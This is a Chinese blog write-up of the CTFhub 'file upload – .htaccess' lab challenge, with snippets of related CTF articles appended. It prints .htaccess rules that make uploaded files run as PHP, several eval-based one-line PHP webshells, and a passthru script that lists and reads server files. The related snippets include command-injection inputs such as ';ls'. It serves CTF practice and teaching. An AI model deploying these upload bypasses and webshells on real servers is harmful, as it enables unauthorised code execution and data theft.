代码先锋网 代码片段及技术文章聚合

【CTF整理】CTFhub技能树-Web-文件上传-.htaccess

技术标签: 渗透测试  web  安全

【CTF整理】CTFhub技能树-Web-文件上传-.htaccess

CTFhub技能树里面的题最近做了一些,但是除了之前的SQL注入之外,其他的我实在没什么兴趣整理,毕竟网上的整理出来的博主很多,之所以专门整理这个文件上传.htaccess的题目,是因为我踩坑了,本以为一道简单的题目我就这么硬生生的踩进去了,还差点没出来,浪费了不少金币啊。看别的博主都是上传.htaccess文件,上传修改后缀的一句话木马,菜刀或是蚁剑一连就getshell了,简单的不能再简单,为毛我试了N次都是不行?试了各种形式的.htaccess文件,各种报错。网上如此轻易用蚁剑连上的博主,我是不知道怎么做到的(可能是我菜逼吧,不过网上好像就一两个版本,严重怀疑是最开始的那一篇带偏一堆人) 。吐槽结束,记坑。

1、常规思路

修改.htaccess文件,上传指定后缀名的一句话,菜刀连接getshell。------ 失败

基本上就这样
在这里插入图片描述

我试过的.htaccess内容:
版本1
<FilesMath  ".jpg">
SetHandler application/x-httpd-php
</FilesMatch>


版本2
AddType application/x-httpd-php .jpg


配合PHP各种一句话文件后缀.jpg,
<?php eval($_PTST['c']);?>
<?php eval($_GET['c']);?>
<?php @eval($_PTST['c']);?>
<?php @eval($_GET['c']);?>
<?php eval($_PTST["c"]);?>
<?php eval($_GET["c"]);?>
<?php @eval($_PTST["c"]);?>
<?php @eval($_GET["c"]);?>


亲测,菜刀蚁剑没有一个能正常连接,要么200ok啥都不显示或者显示一句话,连不上,要么直接404,还有500的。

这种思路就是网上最流行的思路,想看的小伙伴可以看这里
https://www.cnblogs.com/anweilx/p/12523582.html

2、PHP passthru()函数

这个方法不需要菜刀,蚁剑什么,弱爆了,直接浏览器访问就看到了flag好吗,给想出这个方法的大佬点赞。
PHP的passthru()这个函数可以直接执行外部命令,用法passthru" ls "),同样有此功能的函数还有
exec()、system()、 shell_exec()等。

解法
这里先写一个.htaccess文件上传

<FilesMatch "sj">  //sj随便写的,后面上传的文件没有后缀,就叫sj
 SetHandler application/x-httpd-php
</FilesMatch>

然后写sj文件内容如下:

<?php 
#passthru("ls /var/www/html/"); //第一次只写这一行,用来找flag文件在哪里
passthru("cat /var/www/html/flag_229326633.php");//第二次是找到了flag文件之后,直接读取内容
?>

上传sj文件,然后浏览器直接访问文件:
在这里插入图片描述这里啥都没有,需要查看源码。(小坑小坑)
在这里插入图片描述得到flag

总结:
有时候不要太依赖菜刀蚁剑之类的工具,不一定要一句话,我们还可以直接执行外部命令查看,PHP常见可以用来执行外部命令的函数有 passthru()、exec()、system()、 shell_exec()等。(不要太相信网上的解法,自己多动手尝试)

by 久违 2020.5.15 夜

版权声明:本文为weixin_42742658原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_42742658/article/details/106132770

智能推荐

CTFHub技能树web(持续更新)--RCE--命令注入--过滤空格

过滤空格 这次过滤了空格,使用ls查看当前目录: 发现了一个php文件,因为空格被过滤了,我们可以使用 < 或 <> 重定向符来代替空格: 然后查看网页源代码,得到flag: 注:萌新第一次写write up,不足之处还请见谅,不对之处欢迎批评指正...

CTFHub -技能树 命令注入-无过滤

0X00 命令注入-无过滤 进入页面后给出的源码,题目要求输入IP地址执行ping命令 由于没有采用过滤,所以我们直接进行拼接,输入192.168.43.222;ls,查看到了目录下全部文件 显然index.php没有我们想要的东西,于是接着输入192.168.43.222;cat 1125854706588.php,查看1125854706588.php文件里面的内容 没有显示出来,右键点击查看...

CTF web题总结--上传文件绕过

代码: 可以上传Php、phtm等类型,过滤了<?php等,但是可以使用<?Script language="Php">来绕过过滤,然后就一句话木马即可...

CTFhub htaccess文件【不用连webshell工具查看flag】

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能 康康源代码,有黑名单限制 方法一 上传.htacess文件,内容为 上传一句话木马c.is 每次做完都喜欢去康康其他人怎么做的 方法二 https...

猜你喜欢

<web渗透-文件上传漏洞-00阶段&htaccess攻击>

(1) .00截断 00就是null空字符,URl中表现为%00,00截断会导致文件 上传路径截断 upload-lab 11关 (2) .htaccess 攻击 是Apache服务器的分布式配置文件 该配置文件会覆盖Apache服务的全局配置 (3) .web容器解析漏洞 (4) .编辑器上传...

.htaccess 文件上传

利用代码 : .htaccess 法一 法二 法三 参考链接 : 1. .htaccess官方文档 2. SetHandler官方文档 3. 非法文件上传漏洞技术 4. 隐藏webshell的几条建议 5. .htaccess based attack...

hdu 6405 (n 个串中本质不同的子串以及他们出现在了哪些串中)

题意:给定 n 个串,询问长度为m的串在这n个串中的贡献之和的期望。贡献的求法是 出现的所有串的val的乘积。 思路:首先要求输出分数,那我们分为分子和分母来考虑,分母很好求。对于分子来说,我们只需要算出长度小于等于m的所有串的贡献之和。  问题转化为 n个串中所有本质不同的子串的贡献,那么我们统计每个状态在那些串中出现过即可。 疑问:这题我一开始采用在线的做法,就是每加入一个字母就更新...

select jquery选中

select选中方法 jquery 选中 $("#select").val(“1”);...